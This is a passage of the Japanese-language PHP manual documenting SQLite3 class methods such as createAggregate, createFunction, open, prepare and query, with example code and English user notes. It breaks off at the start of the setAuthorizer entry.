この関数の戻り値は、 次のステップで呼ばれる際、または finalize 関数での context の引数として使われます。

finalCallback

各行からの "段階的に処理された" データを集約するコールバック関数です。 いったん全データが処理されると、この関数が呼ばれます。 集約処理のコンテキストからデータを取り出し、結果を返すべきです。 このコールバック関数は SQLite が理解する型を返します。 (例: スカラー型)

このコールバック関数は、以下のように定義すべきです:

fini ( mixed $context , int $rownumber ) : mixed
context

最後に呼ばれた step 関数から返された値を保持します。

rownumber

常に 0.

この関数の戻り値は、集約の返り値として使われます。

argCount

SQL 集約関数が受け取るパラメータの数。 負の値を指定すると、SQL 集約関数は任意の数の引数を受け取るようになります。

返り値

集約関数の作成に成功した場合に true、失敗した場合に false を返します

例

例1 max_length 集約関数の例

<?php
$data = array(
   'one',
   'two',
   'three',
   'four',
   'five',
   'six',
   'seven',
   'eight',
   'nine',
   'ten',
   );
$db = new SQLite3(':memory:');
$db->exec("CREATE TABLE strings(a)");
$insert = $db->prepare('INSERT INTO strings VALUES (?)');
foreach ($data as $str) {
    $insert->bindValue(1, $str);
    $insert->execute();
}
$insert = null;

function max_len_step($context, $rownumber, $string)
{
    if (strlen($string) > $context) {
        $context = strlen($string);
    }
    return $context;
}

function max_len_finalize($context, $rownumber)
{
    return $context === null ? 0 : $context;
}

$db->createAggregate('max_len', 'max_len_step', 'max_len_finalize');

var_dump($db->querySingle('SELECT max_len(a) from strings'));
?>

上の例の出力は以下となります。

int(5)

この例では、テーブルのカラムに入っている一番長い文字列を集約する関数を作っています。 1行ごとに、max_len_step 関数が呼ばれ、 $context パラメータが渡されます。 context パラメータ は他のPHPの変数のように振る舞いますし、配列やオブジェクトを格納することさえできます。 この例では、単にこれまで見てきたものの中から一番大きな長さを保持するのに使っています。 つまり、$string が現在の最大値より大きな長さをもっていたら、 context を新しい最大値に更新しています。

全ての行を処理し終わったら、SQLite は 集約結果を決めるために max_len_finalize 関数を呼び出します。 ここでは、$context で見つかったデータを基にして、 ある種の計算を行うことができます。 私達のシンプルな例では、結果を段階的に計算してきているので、 単に context に入っている値を返すだけで済みます。

ヒント

値のコピーを context に保存し、一番最後に処理することは推奨できません。 なぜなら、SQLite がクエリを処理するのにたくさんのメモリを使うことになるからです。 - 100万行の情報がメモリに格納されていたとして、 それぞれの行が32バイトの長さを持っていたとすると、 どれくらいのメモリが必要になるのかを考えてみてください。

ヒント

SQLite のネイティブなSQL関数を上書きするために SQLite3::createAggregate() を使うことができます。

User Contributed Notes

boris dot dd at gmail dot com 06-Jan-2017 07:57
<?php
class Test extends SQLite3
{
    public function __construct($file)
    {
        parent::__construct($file);
        $this->createAggregate('groupConcat', [$this, 'concatStep'], [$this, 'concatFinal']);
    }
    public function concatStep(&$context, $rowId, $string, $delimiter)
    {
        if (!isset($context)) {
            $context = [
                'delimiter' => $delimiter,
                'data'      => []
            ];
        }
        $context['data'][] = $string;
        return $context;
    }
    public function concatFinal(&$context)
    {
        return implode($context['delimiter'], $context['data']);
    }
}
$SQLite = new Test('/tmp/test.sqlite');
$SQLite->exec("create table `test` (`id` TEXT, `color` TEXT, `size` TEXT)");
$SQLite->exec("insert into `test` (`id`, `color`, `size`) values ('1', 'red', 'M')");
$SQLite->exec("insert into `test` (`id`, `color`, `size`) values ('1', 'green', 'M')");
$SQLite->exec("insert into `test` (`id`, `color`, `size`) values ('1', 'blue', 'S')");
$Result = $SQLite->query("select `size`, groupConcat(`color`, ';') as `color` from `test` group by `size`");
while ($row = $Result->fetchArray(SQLITE3_ASSOC)) {
    print_r($row);
}
/*
Array
(
    [size] => M
    [color] => red;green
)
Array
(
    [size] => S
    [color] => blue
)
*/
sukmaagungsaputra at gmail dot com 21-Feb-2015 05:09
Lacks of example, right?
Let's try to give to SQlite3 the capability like ones of MySQL's
- REGEXP operator,
- MD5 function, and
- GROUP_CONCAT aggregate function

$db = new SQLite3($filename);
$db->createFunction('regexp', function ($a,$b) { return preg_match("/$a/i", $b); });
$db->createFunction('md5', function ($a) { return md5($a); });
$db->createAggregate ('group_concat',
            function(&$context, $rownumber, $str) { $context[]=$str; return $context; },
            function(&$context) {return implode(",", (array) $context); });


SQLのcollate関数として使うPHP関数を登録する

  • ≪ SQLite3::createAggregate
  • SQLite3::createFunction ≫
  • PHP Manual
  • SQLite3
  • SQLのcollate関数として使うPHP関数を登録する

SQLite3::createCollation

(PHP 5 >= 5.3.11, PHP 7, PHP 8)

SQLite3::createCollation — SQLのcollate関数として使うPHP関数を登録する

説明

public SQLite3::createCollation ( string $name , callable $callback ) : bool

SQL文の中でcollate関数として使うPHP関数、またはユーザー定義の関数を登録します。

パラメータ

name

作成、または再定義するSQL collate 関数の名前

callback

collation の振る舞いを定義する、PHP関数または、 コールバックとして適用するユーザー定義関数。 2つの値を受けとり、strcmp() 関数が返すのと同じ値を返します。つまり、 はじめの文字列が前の文字列より前にソートされる場合に-1、 後にソートされる場合に1、等しい場合に0を返します。

この関数は、以下のように定義されるべきです:

collation ( mixed $value1 , mixed $value2 ) : int

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 SQLite3::createCollation() の例

SQLite3 データベースの中で、シーケンスを並べる strnatcmp() 関数を登録します。

<?php

$db = new SQLite3(":memory:");
$db->exec("CREATE TABLE test (col1 string)");
$db->exec("INSERT INTO test VALUES ('a1')");
$db->exec("INSERT INTO test VALUES ('a10')");
$db->exec("INSERT INTO test VALUES ('a2')");

$db->createCollation('NATURAL_CMP', 'strnatcmp');

$defaultSort = $db->query("SELECT col1 FROM test ORDER BY col1");
$naturalSort = $db->query("SELECT col1 FROM test ORDER BY col1 COLLATE NATURAL_CMP");

echo "default:\n";
while ($row = $defaultSort->fetchArray()){
    echo $row['col1'], "\n";
}

echo "\nnatural:\n";
while ($row = $naturalSort->fetchArray()){
    echo $row['col1'], "\n";
}

$db->close();

?>

上の例の出力は以下となります。

default:
a1
a10
a2

natural:
a1
a2
a10

参考

  • SQLite collation ドキュメント: » http://sqlite.org/datatype3.html#collation

User Contributed Notes

There are no user contributed notes for this page.


SQL のスカラー関数として使用する PHP 関数を登録する

  • ≪ SQLite3::createCollation
  • SQLite3::enableExceptions ≫
  • PHP Manual
  • SQLite3
  • SQL のスカラー関数として使用する PHP 関数を登録する

SQLite3::createFunction

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::createFunction — SQL のスカラー関数として使用する PHP 関数を登録する

説明

public SQLite3::createFunction ( string $name , callable $callback , int $argCount = -1 , int $flags = 0 ) : bool

SQL のスカラー関数として使用する PHP 関数を登録します。 これは SQL 文の中で使用されるものです。

パラメータ

name

作成あるいは再定義したい SQL 関数の名前。

callback

コールバックとして指定する、 PHP の関数あるいはユーザー定義関数の名前。 これが SQL 関数の振る舞いを定義します。

この関数は、以下のように定義されるべきです:

callback ( mixed $value , mixed ...$values ) : mixed
value

SQL 関数に渡される最初の引数

values

SQL 関数に渡されるふたつめ以降の引数

argCount

SQL 関数が受け取るパラメータの数。 -1 を指定すると、SQL 関数は任意の数の引数を受け取るようになります。

flags

フラグのビット単位の組み合わせ。 現状では、 SQLITE3_DETERMINISTIC だけがサポートされています。 これは、単一のSQLの範囲の中では、同じ入力を与えると常に同じ結果が返るということを指定します。

返り値

関数の作成に成功した場合に true、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.1.4 | flags パラメータが追加されました。

例

例1 SQLite3::createFunction() の例

<?php
function my_udf_md5($string) {
    return md5($string);
}

$db = new SQLite3('mysqlitedb.db');
$db->createFunction('my_udf_md5', 'my_udf_md5');

var_dump($db->querySingle('SELECT my_udf_md5("test")'));
?>

上の例の出力は、 たとえば以下のようになります。

string(32) "098f6bcd4621d373cade4e832627b4f6"

User Contributed Notes

bohwaz 28-Feb-2012 02:45
In PHP 5.4 there will be a createCollation method to use your custom collation method, to be able to sort datasets using unicode, like this:

<?php
setlocale(LC_COLLATE, 'fr_FR.UTF-8');
$db->createCollation('PHP_COLLATE', 'strcoll');

$db->query('SELECT * FROM my_table ORDER BY name COLLATE PHP_COLLATE;');
?>

But until this cool feature becomes available, you'll have to do some tricks, like this for french:

<?php
function sqlite3_to_ascii($str, $charset = 'UTF-8')
{
    // Don't process empty strings
    if (!trim($str))
        return $str;

    // We only process non-ascii strings
    if (preg_match('!^[[:ascii:]]+$!', $str))
        return $str;

    $str = htmlentities($str, ENT_NOQUOTES, $charset);

    $str = preg_replace('#&([A-za-z])(?:acute|cedil|circ|grave|orn|ring|slash|th|tilde|uml);#', '\1', $str);
    $str = preg_replace('#&([A-za-z]{2})(?:lig);#', '\1', $str);
    $str = preg_replace('#&[^;]+;#', '', $str);

    return $str;
}

$db->createFunction('to_ascii', 'sqlite3_to_ascii', 1);
$res = $db->query('SELECT * FROM test ORDER BY to_ascii(text);');
?>

This will convert non-ascii characters to ascii ones before collation. In fact this won't work with non-latin languages, but for latin-languages it's better than nothing.

Please note that this will slow down about 1.8 times the query (tested on a 10.000 rows table).
koalay at gmail dot com 26-May-2010 07:43
Since regular expression is not supported by default SQLite, we can create a user function to do the job.

<?php

$db = new SQLite3("database.sqlit3", 0666);

// create a function named "preg_match"
// with the php core function "preg_match"
if ($db->createFunction("preg_match", "preg_match", 2) === FALSE)
  exit("Failed creating function\n");

// this query will then works as expected
$result = $db->query("SELECT * FROM table1 WHERE
  preg_match('/^(apple|orange)$/', variable1)");

?>


例外のスローを有効にする

  • ≪ SQLite3::createFunction
  • SQLite3::escapeString ≫
  • PHP Manual
  • SQLite3
  • 例外のスローを有効にする

SQLite3::enableExceptions

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::enableExceptions — 例外のスローを有効にする

説明

public SQLite3::enableExceptions ( bool $enable = false ) : bool

SQLite3 が、エラー時に警告や例外をスローするかどうかを制御します。

パラメータ

enable

true の場合、 SQLite3 のインスタンスと、 SQLite3Stmt および SQLite3Result から派生したインスタンスは、エラー時に例外をスローします

false の場合、 SQLite3 のインスタンスと、 SQLite3Stmt および SQLite3Result から派生したインスタンスは、エラー時に警告を発生させます。

どちらのモードであっても、エラーコードやメッセージがもしあれば、 SQLite3::lastErrorCode() と SQLite3::lastErrorMsg() で利用できます。

返り値

古い値を返します。つまり、例外が有効であったなら true そうでなければ false を返します。

例

例1 SQLite3::enableExceptions() の例

<?php
$sqlite = new SQLite3(':memory:');
try {
    $sqlite->exec('create table foo');
    $sqlite->enableExceptions(true);
    $sqlite->exec('create table bar');
} catch (Exception $e) {
    echo 'Caught exception: ' . $e->getMessage();
}
?>

上の例の出力は、 たとえば以下のようになります。

Warning: SQLite3::exec(): near "foo": syntax error in example.php on line 4
Caught exception: near "bar": syntax error

User Contributed Notes

Yoann 11-Dec-2018 01:51
Be sure to note the poorly chosen name and default value.

The following snippet does not throw an exception, despite calling a function with the name "enableExceptions" immediately prior to the bad query.
<?php
$sqlite = new SQLite3('test.tmp');
$sqlite->enableExceptions();
$sqlite->exec('invalid query');
echo 'code still running since no exception was thrown';
?>

Note that this is still error-prone if the passed value is false. One is likely to read "enableExceptions" and ignore the parameter list since the function name conveys a strong (but incorrect) meaning.


適切にエスケープされた文字列を返す

  • ≪ SQLite3::enableExceptions
  • SQLite3::exec ≫
  • PHP Manual
  • SQLite3
  • 適切にエスケープされた文字列を返す

SQLite3::escapeString

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::escapeString — 適切にエスケープされた文字列を返す

説明

public static SQLite3::escapeString ( string $string ) : string

SQL 文の中で使えるよう適切にエスケープされた文字列を返します。

警告

この関数は (まだ)バイナリデータ対応ではありません!

BLOB フィールドには NUL 文字が含まれる可能性があります。BLOB フィールドを適切に処理するには、かわりに SQLite3Stmt::bindParam() を用いましょう。

パラメータ

string

エスケープしたい文字列。

返り値

SQL 文の中で安全に使えるよう適切にエスケープされた文字列を返します。

注意

警告

SQLite クエリの文字列をクォートする際に addslashes() を使っては いけません。 予期せぬ結果を引き起こしてしまいます。

User Contributed Notes

nhl261 at yahoo dot com 25-Sep-2014 09:11
Be careful if the string contains "\0" char.
see: https://bugs.php.net/bug.php?id=63419
alec at alecnewman dot com 09-Aug-2010 02:14
The reason this function doesn't escape double quotes is because double quotes are used with names (the equivalent of backticks in MySQL), as in table or column names, while single quotes are used for values.

This is important to remember, especially coming from another SQL implementation.  It can cause strange problems, for example, the query:

SELECT * FROM table WHERE column1="column1"

Would actually return every record, because column1 is always equal to column1.  This should instead be:

SELECT * FROM table WHERE column1='column1'

Double quotes are not escaped by the function because they are not interpreted specially within single quoted strings.


指定したデータベースに、結果を返さないクエリを実行する

  • ≪ SQLite3::escapeString
  • SQLite3::lastErrorCode ≫
  • PHP Manual
  • SQLite3
  • 指定したデータベースに、結果を返さないクエリを実行する

SQLite3::exec

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::exec — 指定したデータベースに、結果を返さないクエリを実行する

説明

public SQLite3::exec ( string $query ) : bool

指定したデータベースに、結果を返さないクエリを実行します。

注意: SQLite3 は、クエリの実行中に » 一時ファイル を作る必要があるかもしれません。 よって、それぞれのディレクトリは書き込み可能でなければならない可能性があります。

パラメータ

query

実行したい SQL クエリ (通常は INSERT、UPDATE あるいは DELETE クエリ)。

返り値

クエリが成功した場合に true、失敗した場合に false を返します。

例

例1 SQLite3::exec() の例

<?php
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE bar (bar STRING)');
?>

User Contributed Notes

alexandre dot schmidt at gmail dot com 13-Feb-2016 05:38
I was getting "database locked" all the time until I found out some features of sqlite3 must be set by using SQL special instructions (i.e. using PRAGMA keyword). For instance, what apparently solved my problem with "database locked" was to set journal_mode to 'wal' (it is defaulting to 'delete', as stated here: https://www.sqlite.org/wal.html (see Activating  And Configuring WAL Mode)).

So basically what I had to do was creating a connection to the database and setting journal_mode with the SQL statement. Example:

<?php
$db = new SQLite3('/my/sqlite/file.sqlite3');
$db->busyTimeout(5000);
// WAL mode has better control over concurrency.
// Source: https://www.sqlite.org/wal.html
$db->exec('PRAGMA journal_mode = wal;');
?>

Hope that helps.


直近で失敗した SQLite リクエストの結果コードを数値で返す

  • ≪ SQLite3::exec
  • SQLite3::lastErrorMsg ≫
  • PHP Manual
  • SQLite3
  • 直近で失敗した SQLite リクエストの結果コードを数値で返す

SQLite3::lastErrorCode

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::lastErrorCode — 直近で失敗した SQLite リクエストの結果コードを数値で返す

説明

public SQLite3::lastErrorCode ( ) : int

直近で失敗した SQLite リクエストの結果コードを数値で返します。

パラメータ

この関数にはパラメータはありません。

返り値

直近で失敗した SQLite リクエストの結果コードを数値で返します。

User Contributed Notes

bohwaz 27-Nov-2020 10:07
Codes can be found here: https://sqlite.org/rescode.html
argon 19-Aug-2018 02:26
If no error occurred - `SQLite3::lastErrorCode()` returns `0` (int zero)


直近で失敗した SQLite リクエストについての英文テキストの説明を返す

  • ≪ SQLite3::lastErrorCode
  • SQLite3::lastInsertRowID ≫
  • PHP Manual
  • SQLite3
  • 直近で失敗した SQLite リクエストについての英文テキストの説明を返す

SQLite3::lastErrorMsg

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::lastErrorMsg — 直近で失敗した SQLite リクエストについての英文テキストの説明を返す

説明

public SQLite3::lastErrorMsg ( ) : string

直近で失敗した SQLite リクエストについての英文テキストの説明を返します。

パラメータ

この関数にはパラメータはありません。

返り値

直近で失敗した SQLite リクエストについての英文テキストの説明を返します。

User Contributed Notes

shafyxl at gmail dot com 16-Oct-2017 06:37
$db= new SQLite3('db1.db');
            $results= $db->query('SELECT * FROM table1');
            if($results==FALSE)
            {
                echo "Error in fetch ".$db->lastErrorMsg();
            }
            else
            {
                while ($row= $results->fetchArray())
                {


直近の INSERT 文でデータベースに追加された行の ID を返す

  • ≪ SQLite3::lastErrorMsg
  • SQLite3::loadExtension ≫
  • PHP Manual
  • SQLite3
  • 直近の INSERT 文でデータベースに追加された行の ID を返す

SQLite3::lastInsertRowID

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::lastInsertRowID — 直近の INSERT 文でデータベースに追加された行の ID を返す

説明

public SQLite3::lastInsertRowID ( ) : int

直近の INSERT 文でデータベースに追加された行の ID を返します。

パラメータ

この関数にはパラメータはありません。

返り値

直近の INSERT 文でデータベースに追加された行の ID を返します。

User Contributed Notes

alexofen at KEINSpamgmail dot com 05-Jan-2015 10:08
lastInsertRowID is relative to the database connection. Hence if there are two instances of a php script (with distinct $db connections) there is no risk that the RowID of the one instance will effect the result of the other instance.

I mention this point here as it was not clear from the documentation, at least not very clear to me and hence I hope it might help others.


SQLite 拡張ライブラリを読み込む

  • ≪ SQLite3::lastInsertRowID
  • SQLite3::open ≫
  • PHP Manual
  • SQLite3
  • SQLite 拡張ライブラリを読み込む

SQLite3::loadExtension

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::loadExtension — SQLite 拡張ライブラリを読み込む

説明

public SQLite3::loadExtension ( string $name ) : bool

SQLite 拡張ライブラリを読み込みます。

パラメータ

name

読み込みたいライブラリの名前。ライブラリは、設定オプション sqlite3.extension_dir で指定したディレクトリになければなりません。

返り値

拡張ライブラリの読み込みに成功した場合に true、 失敗した場合に false を返します。

例

例1 SQLite3::loadExtension() の例

<?php
$db = new SQLite3('mysqlitedb.db');
$db->loadExtension('libagg.so');
?>

User Contributed Notes

RollingHog 12-May-2020 06:51
One more addition. If you need to setup non-thread-safe PHP on XAMPP/Apache to use loadextension, look at this article: https://paulshipley.id.au/blog/coding-tips/improve-php-performance-with-fastcgi-on-xampp-for-windows/

Tl;dr - you need to install&configure mod_fcgid module for Apache.
RollingHog 08-May-2020 07:15
For newbies like me: if loadExtension fails with "Not supported in multithreaded Web servers" message (which always happens on IIS and sometimes - on Apache), you need to use non-thread-safe build of PHP, which is not always a bad idea; see https://www.geeksforgeeks.org/what-is-thread-safe-or-non-thread-safe-in-php/


SQLite データベースをオープンする

  • ≪ SQLite3::loadExtension
  • SQLite3::openBlob ≫
  • PHP Manual
  • SQLite3
  • SQLite データベースをオープンする

SQLite3::open

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::open — SQLite データベースをオープンする

説明

public SQLite3::open ( string $filename , int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE , string $encryptionKey = "" ) : void

SQLite 3 データベースをオープンします。 暗号化込みでビルドされている場合は、キーの使用を試みます。

パラメータ

filename

SQLite データベースへのパス。インメモリデータベースを使う場合は :memory: を指定します。

flags

SQLite データベースのオープン方法を指定するフラグ。 デフォルトでは SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE を使用してオープンします。

  • SQLITE3_OPEN_READONLY: データベースを読み込み専用でオープンする

  • SQLITE3_OPEN_READWRITE: データベースを読み書き共用でオープンする

  • SQLITE3_OPEN_CREATE: データベースが存在しない場合は作成する

encryptionKey

オプションの暗号キー。SQLite データベースの暗号化と復号に使用します。 暗号化モジュールがインストールされていない場合は、このパラメータは何の影響も及ぼしません。

返り値

値を返しません。

例

例1 SQLite3::open() の例

<?php
/**
 * SQLite3 クラスを継承して __construct を変更し、
 * open メソッドで DB を初期化します
 */
class MyDB extends SQLite3
{
    function __construct()
    {
        $this->open('mysqlitedb.db');
    }
}

$db = new MyDB();

$db->exec('CREATE TABLE foo (bar STRING)');
$db->exec("INSERT INTO foo (bar) VALUES ('This is a test')");

$result = $db->query('SELECT bar FROM foo');
var_dump($result->fetchArray());
?>

User Contributed Notes

BenWa 09-Jul-2018 01:53
If you plan to have concurrent access to a SQLITE3 database, it is advised to change the default SQLite3::busyTimeout value (set to zero by default). Otherwise, you may get a "database locked" error while writing to the database.

With the timeout set to a non zero value, a write attempt to a locked database will wait for the lock to be released (within the timeout) before sending an error.

Note that the default value was set to 60 seconds on SQLITE2.
jtreurniet at example dot com 08-Jul-2017 08:27
Note that the SQLITE3_OPEN_READONLY flag cannot be combined with the SQLITE3_OPEN_CREATE flag. If you combine both of these flags, a rather unhelpful "Unable to open database: out of memory" exception will be thrown.
susan at itsasmartsolve dot co dot za 10-Jul-2016 03:45
[Editor's note: see <https://www.sqlite.org/backup.html>]

Just a quick note on not being able to open() two databases together and copy the exact info, say for instance to create a backup db. I searched the net for and answer, none of which served. The comment and solution of attaching seems complicated to me. Eventually I worked out that the same result could be more simply accomplished using the copy() function.
<?php
copy("old.db", "new.db");
?>
kbrobst at surveyresearchpartners dot com 07-Mar-2010 12:54
If you are trying to use the open() method to open multiple database files within the same SQLite3 object (which I could not get to work), here is an alternative way to do so using special SQLite3 syntax additions to the SQL language.  This took some investigation on my part, so hopefully the solution I found will help you too.

These are the nice features within SQLite3 that are leveraged:
* The create statement query for a table is stored within a table called "sqlite_master" within the parent database file.
* SQLite3 supports the "insert into...select * from" SQL syntax for doing bulkload-speed inserts into a table - but what if the source and target tables are in separate database files?
* SQLite3 has an "attach [filename] as [reference database name]" which will allow multiple database files to be opened and accessible to the same SQLite3 object.

Assume you have a table called "my_template" in the SQLite3 database file "source.db".  You want to make a copy of this table into the database file "target.db" and call the table "working_table".

<?php
//attach the source database file to the bulkload connection object;
$bulkload_connection = new SQLite3("c:/sqlite3_database_files/source.db");

//retrieve the create statement query for the source table;
$sourcetbl_create_statement = $bulkload_connection->querySingle("select sql from sqlite_master where type='table' and name='my_template'");
if ($sourcetbl_create_statement===false) exit($bulkload_connection->lastErrorMsg());

//build the create statement query for the target table;
$targettbl_create_statement = str_replace('CREATE TABLE my_template', 'CREATE TABLE bulkload.working_table', $sourcetbl_create_statement);

//attach the target database file to the bulkload connection object - and reference it as the database called [bulkload];
$result=$bulkload_connection->exec("attach 'c:/sqlite3_database_files/target.db' as bulkload");
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//issue the query to create the target table within the target database file;
$result=$bulkload_connection->exec($targettbl_create_statement);
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//copy the rows from the source table to the target table as quickly as possible;
$result=$bulkload_connection->exec("insert into bulkload.working_table select * from my_template");
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//release the OS file locks on the attached database files;
$bulkload_connection->close();
unset($bulkload_connection);
?>


BLOG を読み取るためのストリームリソースを開く

  • ≪ SQLite3::open
  • SQLite3::prepare ≫
  • PHP Manual
  • SQLite3
  • BLOG を読み取るためのストリームリソースを開く

SQLite3::openBlob

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::openBlob — BLOG を読み取るためのストリームリソースを開く

説明

public SQLite3::openBlob ( string $table , string $column , int $rowid , string $database = "main" , int $flags = SQLITE3_OPEN_READONLY ) : resource|false

BLOB を読み書きするためのストリームリソースを開きます。 これは、以下によって選択されます:

SELECT column FROM database.table WHERE rowid = rowid

注意: ストリームに書き込むことで、BLOBのサイズを変更することは不可能です。 BLOB のサイズを望んだサイズに設定するには、代わりに UPDATE 文を実行するか、 SQLite の zeroblob() 関数を使ってください。

パラメータ

table

テーブル名

column

カラム名

rowid

行ID

database

DB のシンボリック名

flags

SQLITE3_OPEN_READONLY または SQLITE3_OPEN_READWRITE を指定します。 それぞれ、読み取り専用でストリームを開くか、 読み取りと書き込みができるようにストリームを開きます。

返り値

ストリームしロースを返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
7.2.0 | flags が追加されました。 BLOB に書き込むことができます。これより前のバージョンでは、読み取りのみがサポートされていました。

例

例1 SQLite3::openBlob() の例

<?php
$conn = new SQLite3(':memory:');
$conn->exec('CREATE TABLE test (text text)');
$conn->exec("INSERT INTO test VALUES ('Lorem ipsum')");
$stream = $conn->openBlob('test', 'text', 1);
echo stream_get_contents($stream);
fclose($stream); // mandatory, otherwise the next line would fail
$conn->close();
?>

上の例の出力は以下となります。

Lorem ipsum

例2 インクリメンタルにBLOBに書き込む

<?php
$conn = new SQLite3(':memory:');
$conn->exec('CREATE TABLE test (text text)');
$conn->exec("INSERT INTO test VALUES (zeroblob(36))");
$stream = $conn->openBlob('test', 'text', 1, 'main', SQLITE3_OPEN_READWRITE);
for ($i = 0; $i < 3; $i++) {
    fwrite($stream,  "Lorem ipsum\n");
}
fclose($stream);
echo $conn->querySingle("SELECT text FROM test");
$conn->close();
?>

上の例の出力は以下となります。

Lorem ipsum
Lorem ipsum
Lorem ipsum

User Contributed Notes

There are no user contributed notes for this page.


実行する SQL 文を準備する

  • ≪ SQLite3::openBlob
  • SQLite3::query ≫
  • PHP Manual
  • SQLite3
  • 実行する SQL 文を準備する

SQLite3::prepare

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::prepare — 実行する SQL 文を準備する

説明

public SQLite3::prepare ( string $query ) : SQLite3Stmt|false

実行する SQL 文を準備し、SQLite3Stmt オブジェクトを返します。

パラメータ

query

準備したい SQL クエリ。

返り値

成功した場合に SQLite3Stmt オブジェクト、失敗した場合に false を返します。

例

例1 SQLite3::prepare() の例

<?php
unlink('mysqlitedb.db');
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db->exec("INSERT INTO foo (id, bar) VALUES (1, 'This is a test')");

$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
$stmt->bindValue(':id', 1, SQLITE3_INTEGER);

$result = $stmt->execute();
var_dump($result->fetchArray());
?>

参考

  • SQLite3Stmt::paramCount() - プリペアドステートメント内のパラメータの数を返す
  • SQLite3Stmt::bindValue() - パラメータの値を変数にバインドする
  • SQLite3Stmt::bindParam() - パラメータを変数にバインドする

User Contributed Notes

Venkata Subbaraju 22-Jan-2016 12:27
Without checking the return value of "prepare" if "exec" is used then it will cause Fatal Error.

"PHP Fatal error:  Call to a member function execute() on a non-object "

To avoid this error,need to check return value as following:

<?php
 $db = new SQLite3('school.db');
 if($stmt = $db->prepare('SELECT id,student_name FROM classTen '))
 {
         $result = $stmt->execute();
         $names=array();
         while($arr=$result->fetchArray(SQLITE3_ASSOC))
         {
          $names[$arr['id']]=$arr['student_name'];
         }
}
?>


SQL クエリを実行する

  • ≪ SQLite3::prepare
  • SQLite3::querySingle ≫
  • PHP Manual
  • SQLite3
  • SQL クエリを実行する

SQLite3::query

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::query — SQL クエリを実行する

説明

public SQLite3::query ( string $query ) : SQLite3Result|false

SQL クエリを実行し、SQLite3Result オブジェクトを返します。 クエリが(DML文のように)結果を生成しない場合は、 返される SQLite3Result オブジェクトは役に立ちません。 そのようなクエリでは、SQLite3::exec() を代わりに使ってください。

パラメータ

query

実行したい SQL クエリ。

返り値

SQLite3Result オブジェクトを返します。 失敗した場合に false を返します

例

例1 SQLite3::query() の例

<?php
$db = new SQLite3('mysqlitedb.db');

$results = $db->query('SELECT bar FROM foo');
while ($row = $results->fetchArray()) {
    var_dump($row);
}
?>

User Contributed Notes

paule-panke at example dot com 12-Feb-2017 01:55
Check with SQLite3Result::numColumns() for an empty result before calling SQLite3Result::fetchArray().

In contrast to the documentation SQLite3::query() always returns a SQLite3Result instance, not only for queries returning rows (SELECT, EXPLAIN). Each time SQLite3Result::fetchArray() is called on a result from a result-less query internally the query is executed again, which will most probably break your application.
For a framwork or API it's not possible to know in before whether or not a query will return rows (SQLite3 supports multi-statement queries). Therefore the argument "Don't execute query('CREATE ...')" is not valid.
bohwaz 13-Mar-2013 11:47
The recommended way to do a SQLite3 query is to use a statement. For a table creation, a query might be fine (and easier) but for an insert, update or select, you should really use a statement, it's really easier and safer as SQLite will escape your parameters according to their type. SQLite will also use less memory than if you created the whole query by yourself. Example:

<?php

$db = new SQLite3;
$statement = $db->prepare('SELECT * FROM table WHERE id = :id;');
$statement->bindValue(':id', $id);

$result = $statement->execute();

?>

You can also re-use a statement and change its parameters, just do $statement->reset(). Finally don't forget to close a statement when you don't need it anymore as it will free some memory.


クエリを実行し、単一の結果を返す

  • ≪ SQLite3::query
  • SQLite3::setAuthorizer ≫
  • PHP Manual
  • SQLite3
  • クエリを実行し、単一の結果を返す

SQLite3::querySingle

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::querySingle — クエリを実行し、単一の結果を返す

説明

public SQLite3::querySingle ( string $query , bool $entireRow = false ) : mixed

クエリを実行し、単一の結果を返します。

パラメータ

query

実行したい SQL クエリ。

entireRow

デフォルトでは、querySingle() はクエリが返す結果の最初のカラムの値を返します。 entireRow が true の場合は、最初の行全体を配列で返します。

返り値

結果の最初のカラムの値あるいは最初の行全体の配列 (entireRow が true の場合) を返します。

クエリ自体は有効であるけれども結果が返されなかった場合の返り値は、 entireRow が false なら null、 そうでなければ空の配列となります。

クエリが無効な場合やクエリの実行に失敗した場合は false を返します。

例

例1 SQLite3::querySingle() の例

<?php
$db = new SQLite3('mysqlitedb.db');

var_dump($db->querySingle('SELECT username FROM user WHERE userid=1'));
print_r($db->querySingle('SELECT username, email FROM user WHERE userid=1', true));
?>

上の例の出力は、 たとえば以下のようになります。

string(5) "Scott"
Array
(
    [username] => Scott
    [email] => scott@example.com
)

User Contributed Notes

There are no user contributed notes for this page.


SQL文が出来ることを限定するため、authorizer として使われるコールバックを設定する

  • ≪ SQLite3::querySingle
  • SQLite3::version ≫
  • PHP Manual
  • SQLite3
  • SQL文が出来ることを限定するため、authorizer として使われるコールバックを設定する

SQLite3::setAuthorizer

(PHP 8)

SQLite3::setAuthorizer — SQL文が出来ることを限定するため、authorizer として使われるコールバックを設定する

説明

public SQLite3::setAuthorizer ( callable|null $callback ) : bool

